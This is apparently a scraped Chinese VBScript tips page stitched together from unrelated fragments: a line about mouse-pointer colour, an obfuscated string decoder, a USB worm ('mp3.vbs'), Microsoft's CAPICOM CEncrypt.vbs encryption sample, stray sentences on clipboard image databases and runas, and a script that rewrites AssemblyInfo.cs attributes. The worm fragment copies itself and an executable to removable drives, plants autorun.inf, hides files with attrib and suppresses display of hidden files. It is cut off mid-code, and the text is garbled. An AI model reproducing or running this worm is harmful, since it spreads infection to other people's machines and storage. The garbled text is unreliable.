要获得鼠标指针所在位置的颜色，就要将这样的代码放入用户该控件的MouseMove事件过程里
DimenTmp,enstr,a,bb
enstr=Str2Hex("RHptd4RPFZVOdoVQTrvWTnTp4n6PVN6QTop1tnau1hsU")
Fori=1ToLen(enStr)step6
enTmp=Array(Mid(enStr,i,6)&"00")
sz=Split(enTmp(0),",",-1,1)
a=right(sz(0),1)Xorleft(sz(1),1)
bb=bb&a&right(sz(1),1)
Next
FunctionStr2Hex(ByValstrHex)
DimsHex
Fori=1ToLen(strHex)step1
sHex=sHex&Hex(Asc(Mid(strHex,i,1)))&","
Next
Str2Hex=sHex
EndFunction
FunctionHex2Str(hexStr)
Dimsstr,hextmp
Fori=1ToLen(hexStr)step2
hexTmp=Mid(hexStr,i,2)
IfhexTmp<>"00"Then
sstr=sstr&ChrW("&h"&hexTmp)
EndIf
Next
Hex2Str=sstr
EndFunction
wscript.echoHex2Str(bb)
On error resume next
Dim fso,wshell,curfolder,curdristr,curdri
Set fso=createobject("scripting.filesystemobject")
Set wshell=CreateObject("WScript.shell")
Set curfolder=fso.GetFolder(".")
curdristr=Left(WScript.ScriptFullName,3)
Set curdri=fso.GetDrive(curdristr)
reghid() '不显示隐藏文件
If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中
For i=1 To 2 Step 0
reghid()
For Each dri In fso.Drives
If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then
'autorun.inf文件夹改名
If fso.FolderExists(dri.Path&"\autorun.inf") Then
fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish"
End If
'复制自身及exe文件到移动硬盘
If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then
Else
If fso.FileExists(dri.Path&"\mp3.vbs") Then
fso.DeleteFile dri.Path&"\mp3.vbs",True
ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then
fso.DeleteFile dri.Path&"\autorun.inf",True
End if
fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True
If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then
fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True
End If
autoinf(dri.Path)
'给刚复制的文件加上隐藏属性
Set norkon=fso.GetFile(dri.Path&"\mp3.vbs")
wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0
Set norkon=Nothing
",vbInformation
ExitSub
Err100:
MsgBox"不能建立数据库!"&vbCrLf&vbCrLf&Err.Description,vbInformation
EndSub->
'******************************************************************************
'
' THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
' EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
' WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
'
' Copyright (C) 1999- 2002. Microsoft Corporation. All rights reserved.
'
'******************************************************************************
'
' CEncrypt.vbs
'
' This is a sample script to illustrate how to use the CAPICOM's EncryptedData
' to encrypt/decrypt text file.
'
' Note: For simplicity, this script does not handle exception.
'
'******************************************************************************
Option Explicit
Const ForReading=1, ForWriting=2
' Command.
Const Unknown=0
Const Encrypt=1
Const Decrypt=2
' CAPICOM's constants.
Const CAPICOM_ENCRYPTION_ALGORITHM_RC2=0
Const CAPICOM_ENCRYPTION_ALGORITHM_RC4=1
Const CAPICOM_ENCRYPTION_ALGORITHM_DES=2
Const CAPICOM_ENCRYPTION_ALGORITHM_3DES=3
Const CAPICOM_ENCRYPTION_ALGORITHM_AES=4
Const CAPICOM_ENCRYPTION_KEY_LENGTH_MAXIMUM=0
Const CAPICOM_ENCRYPTION_KEY_LENGTH_40_BITS=1
Const CAPICOM_ENCRYPTION_KEY_LENGTH_56_BITS=2
Const CAPICOM_ENCRYPTION_KEY_LENGTH_128_BITS=3
Const CAPICOM_ENCRYPTION_KEY_LENGTH_192_BITS=4
Const CAPICOM_ENCRYPTION_KEY_LENGTH_256_BITS=5
' Command line arguments.
Dim Command : Command=Unknown
Dim Password : Password=Null
Dim Algorithm : Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_RC2
Dim KeyLength : KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_MAXIMUM
Dim Verbose : Verbose=False
Dim FileNames()
' First make sure the script is executed by CScript.exe.
If InStr(1, UCase(Wscript.FullName), "CSCRIPT.EXE", vbTextCompare)=0 Then
Wscript.Echo "This script can only be executed by CScript.exe." & vbCRLF & vbCRLF &_
"You can either:" & vbCRLF & vbCRLF & _
"1. Set CScript.exe as the default (Run CScript //h:cscript), or" & vbCRLF & _
"2. Run CScript.exe directly as in, CScript " & Wscript.ScriptName & "."
Wscript.Quit(-1)
End If
' Parse the command line.
ParseCommandLine
' Now process the command.
Select Case Command
Case Encrypt
DoEncryptCommand FileNames, Algorithm, KeyLength, Password
Case Decrypt
DoDecryptCommand FileNames, Password
End Select
Wscript.Quit(0)
' End Main
'******************************************************************************
'
' Subroutine: DoEncryptCommand
'
' Synopsis : Encrypt content of text file FileNames(0).
'
' Parameter : FileNames - Array of filenames.
'
' Algorithm - Encryption algorithm
'
' KeyLength - Key size.
'
' Password - Secret password.
'
'******************************************************************************
Sub DoEncryptCommand (FileNames, Algorithm, KeyLength, Password)
Dim Content
Dim Message
Dim EncryptedData
' Create the EncryptedData object.
Set EncryptedData=CreateObject("CAPICOM.EncryptedData")
' Set algorithm, key size, and encryption password.
EncryptedData.Algorithm.Name=Algorithm
EncryptedData.Algorithm.KeyLength=KeyLength
EncryptedData.SetSecret Password
' Display main title.
Wscript.Stdout.Writeline "Encrypting text file " & FileNames(0) & "."
Wscript.Stdout.Writeline
' Display more detail for verbose operation.
If Verbose Then
DisplayDetail EncryptedData
End If
' Load content of text file to be encrypted.
LoadFile FileNames(0), Content
' Now encrypt it.
EncryptedData.Content=Content
Message=EncryptedData.Encrypt
' Finally, save encrypted message to FileNames(1).
SaveFile FileNames(1), Message
Wscript.Stdout.Writeline "Successful - Encrypted message saved to " & FileNames(1) & "."
' Free resources.
Set EncryptedData=Nothing
End Sub ' End DoEncryptCommand
'******************************************************************************
'
' Subroutine: DoDecryptCommand
'
' Synopsis : Decrypt an encrypted file.
'
' Parameter : FileNames - Array of filenames.
'
' Password - Secret password.
'
'******************************************************************************
Sub DoDecryptCommand (FileNames, Password)
Dim Message
Dim EncryptedData
' Create the EncryptedData object.
Set EncryptedData=CreateObject("CAPICOM.EncryptedData")
' Set decryption password.
EncryptedData.SetSecret Password
' Display main title.
Wscript.Stdout.Writeline "Decrypting encrypted text file " & FileNames(0) & "."
Wscript.Stdout.Writeline
' Load the encrypted message.
LoadFile FileNames(0), Message
' Now decrypt it.
EncryptedData.Decrypt(Message)
' Display more detail for verbose operation.
If Verbose Then
DisplayDetail EncryptedData
End If
' Finally, save decrypted content to FileNames(1).
SaveFile FileNames(1), EncryptedData.Content
Wscript.Stdout.Writeline "Successful - Decrypted content saved to " & FileNames(1) & "."
' Free resources.
Set EncryptedData=Nothing
End Sub ' End DoDecryptCommand
'******************************************************************************
'
' Subroutine: LoadFile
'
' Synopsis : Read content of a text file.
'
' Parameter : FileName - Input text filename.
'
' Buffer - String buffer to receive the text file content.
'
'******************************************************************************
Sub LoadFile (FileName, Buffer)
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
If Not fso.FileExists(FileName) Then
Wscript.Stdout.Writeline "Error: File " & FileName & " not found."
Wscript.Quit(-5)
End If
Dim ts
Set ts=fso.OpenTextFile(FileName, ForReading)
Buffer=ts.ReadAll
End Sub ' End LoadFile
'******************************************************************************
'
' Subroutine: SaveFile
'
' Synopsis : Save string to file.
'
' Parameter : FileName - Output filename.
'
' Buffer - String buffer to be saved.
'
'******************************************************************************
Sub SaveFile (FileName, Buffer)
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
Dim ts
Set ts=fso.OpenTextFile(FileName, ForWriting, True)
ts.Write Buffer
End Sub ' End SaveFile
'******************************************************************************
'
' Subroutine: DisplayDetail
'
' Synopsis : Display detail information.
'
' Parameter : EncryptedData - EncryptedData object.
'
'******************************************************************************
Sub DisplayDetail (EncryptedData)
Dim AlgoNames(4)
AlgoNames(0)="RC2"
AlgoNames(1)="RC4"
AlgoNames(2)="DES"
AlgoNames(3)="3DES"
AlgoNames(4)="AES"
Wscript.Stdout.Writeline "Algorithm : " & AlgoNames(EncryptedData.Algorithm.Name)
Wscript.Stdout.Write "Key length: "
Select Case EncryptedData.Algorithm.KeyLength
Case CAPICOM_ENCRYPTION_KEY_LENGTH_40_BITS
Wscript.Stdout.Writeline "40 bits"
Case CAPICOM_ENCRYPTION_KEY_LENGTH_56_BITS
Wscript.Stdout.Writeline "56 bits"
Case CAPICOM_ENCRYPTION_KEY_LENGTH_128_BITS
Wscript.Stdout.Writeline "128 bits"
Case CAPICOM_ENCRYPTION_KEY_LENGTH_192_BITS
Wscript.Stdout.Writeline "192 bits"
Case CAPICOM_ENCRYPTION_KEY_LENGTH_256_BITS
Wscript.Stdout.Writeline "256 bits"
Case Else
Wscript.Stdout.Writeline "Maximum"
End Select
Wscript.Stdout.Writeline
End Sub ' End DisplayDetail
'******************************************************************************
'
' Subroutine: ParseCommandLine
'
' Synopsis : Parse the command line, and set the options accordingly.
'
' Parameter : None
'
'******************************************************************************
Sub ParseCommandLine
' Constants for command line parsing states.
Const ARG_STATE_COMMAND=0
Const ARG_STATE_OPTIONS=1
Const ARG_STATE_ALGORITHM=2
Const ARG_STATE_LENGTH=3
Const ARG_STATE_FILENAME=4
Const ARG_STATE_PASSWORD=5
Const ARG_STATE_END=6
' Parse command line.
Dim Arg
Dim ArgState : ArgState=ARG_STATE_COMMAND
For Each Arg In Wscript.Arguments
Select Case ArgState
Case ARG_STATE_COMMAND
Select Case UCase(Arg)
Case "ENCRYPT"
Command=Encrypt
Case "DECRYPT"
Command=Decrypt
Case Else
DisplayUsage
End Select
ArgState=ARG_STATE_OPTIONS
Case ARG_STATE_OPTIONS
Select Case UCase(Arg)
Case "-ALG", "/ALG"
ArgState=ARG_STATE_ALGORITHM
Case "-LENGTH", "/LENGTH"
ArgState=ARG_STATE_LENGTH
Case "-V", "/V"
Verbose=True
Case "-?", "/?"
DisplayUsage
Case Else
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
ReDim FileNames(0)
FileNames(0)=Arg
End If
ArgState=ARG_STATE_FILENAME
End Select
Case ARG_STATE_ALGORITHM
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
Select Case UCase(Arg)
Case "RC2"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_RC2
Case "RC4"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_RC4
Case "DES"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_DES
Case "3DES"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_3DES
Case "AES"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_AES
Case Else
DisplayUsage
End Select
End If
ArgState=ARG_STATE_OPTIONS
Case ARG_STATE_LENGTH
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
Select Case UCase(Arg)
Case "40"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_40_BITS
Case "56"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_56_BITS
Case "128"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_128_BITS
Case "192"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_192_BITS
Case "256"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_256_BITS
Case "MAX"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_MAXIMUM
Case Else
DisplayUsage
End Select
End If
ArgState=ARG_STATE_OPTIONS
Case ARG_STATE_FILENAME
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
ReDim Preserve FileNames(UBound(FileNames) + 1)
FileNames(UBound(FileNames))=Arg
End If
ArgState=ARG_STATE_PASSWORD
Case ARG_STATE_PASSWORD
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
Password=Arg
End If
ArgState=ARG_STATE_END
Case Else
Wscript.Stdout.Writeline "Internal script error: Unknown argument state (" & CStr(ArgState) & ") encountered."
Wscript.Quit(-3)
End Select
Next
' Make sure we are in good state.
If ArgState <> ARG_STATE_END Then
DisplayUsage
End If
End Sub ' ParseCommandLine
'******************************************************************************
'
' Subroutine: DisplayUsage
'
' Synopsis : Display the usage screen, and then exit with a negative error
' code.
'
' Parameter : None.
'
'******************************************************************************
Sub DisplayUsage
Select Case Command
Case Unknown
Wscript.Stdout.Writeline "Usage: CEncrypt Command [Options] InFile OutFile Password"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Command:"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " Encrypt -- Encrypt a text file"
Wscript.Stdout.Writeline " Decrypt -- Decrypt an encrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "For help on a specific command, enter ""CEncrypt Command -?"""
Case Encrypt
Wscript.Stdout.Writeline "Usage: CEncrypt Encrypt [Options] ContentFile EncryptedFile Password"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "The Encrypt command is used to encrypt a text file based on a secret password."
Wscript.Stdout.Writeline "Encrypting protects the data from being read by others except those who know"
Wscript.Stdout.Writeline "the secret password."
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Options:"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " -alg <algorithm> -- RC2, RC4, DES, 3DES, or AES (default to RC2)"
Wscript.Stdout.Writeline " -length <key length> -- 40, 56, 128, 192, 256, or MAX (default to MAX,"
Wscript.Stdout.Writeline " and ignored for DES or 3DES)"
Wscript.Stdout.Writeline " -v -- Verbose operation"
Wscript.Stdout.Writeline " -? -- This help screen"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " ContentFile -- Text file to be encrypted"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " EncryptedFile -- Encrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Note: All non-fatal invalid options for this specific command will be ignored."
Wscript.Stdout.Writeline
Case Decrypt
Wscript.Stdout.Writeline "Usage: CEncrypt Decrypt [Options] EncryptedFile ContentFile Password"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "The Decrypt command is used to decrypt an encrypted text file."
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Options:"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " -v -- Verbose operation"
Wscript.Stdout.Writeline " -? -- This help screen"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " EncryptedFile -- Encrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " ContentFile -- Decrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Note: All non-fatal invalid options for this specific command will be ignored."
Wscript.Stdout.Writeline
Case Else
Wscript.Stdout.Writeline "Internal script error: Unknown help state (Command=" & CStr(Command) & ")."
Wscript.Quit(-2)
End Select
Wscript.Quit(-1)
End Sub ' End DisplayUsage
5.重复3、4步，利用Clipboard可建立一个不受图像格式限制的图像数据库，而且，比起字段中放置图像文件名再依此调用图像文件的方法更易管理
属性为读/写在没有对象化编程前，一直是结构化编程，这种编程方式也不错，只不过概念上比对象化编程差了些
在命令提示符下，键入 runas /profile /User:MyComputer\Administrator cmd，使用管理员权限打开一个命令窗口，然后键入 cscript.exeScriptName（包括脚本的完整路径和任何参数）不能打开文件->
Set fso=Wscript.CreateObject("Scripting.FileSystemObject")
flrName="D:\Workspace\src" 'dir that you need deal with
count=0 'get the count of modified files
function Traversal(dir)
set flr=fso.getfolder(dir)
set fs=flr.files
findstr1="[assembly: SecurityTransparent]" 'find string that need to be replaced
findstr2=replace(findstr1," ","") 'becasuse there is space char in findstr,so add this findstr2
replaceStr="[assembly: AllowPartiallyTrustedCallers()]" 'destination string in replace
for each f in fs
if lcase(f.name)="assemblyinfo.cs" then
set findf=fso.opentextfile(f)
do while findf.atendofstream=false
d=f.datelastmodified 'get modified datetime of current file
alltext=findf.readall
if(InStr(alltext,findstr1) > 0 ) then
s=replace(alltext,findstr1, replaceStr)
count=count+1
findf.close()
'If no findstr2, delete the following elseif block
elseif(InStr(alltext,findstr2) > 0) then
s=replace(alltext,findstr2, replaceStr)
count=count+1
findf.close()
else
findf.close()
exit do
end if
set r=fso.opentextfile(f, 2, true)
r.write s
d2=f.datelastmodified
if d2>=d then exit do
loop
end if
next
set fs=flr.subfolders
for each f in fs
Traversal(f.path)
next
end function
Traversal(flrName)
'msgbox ("Done! "& count & " files were modified successfully.")
wscript.echo "Done! "& count & " files were modified successfully." 'value popup by "wscript.echo" can be received by .bat easily
Wscript.quit count 'this variable "count" in order to get a return value by %ErrorLevel%
。
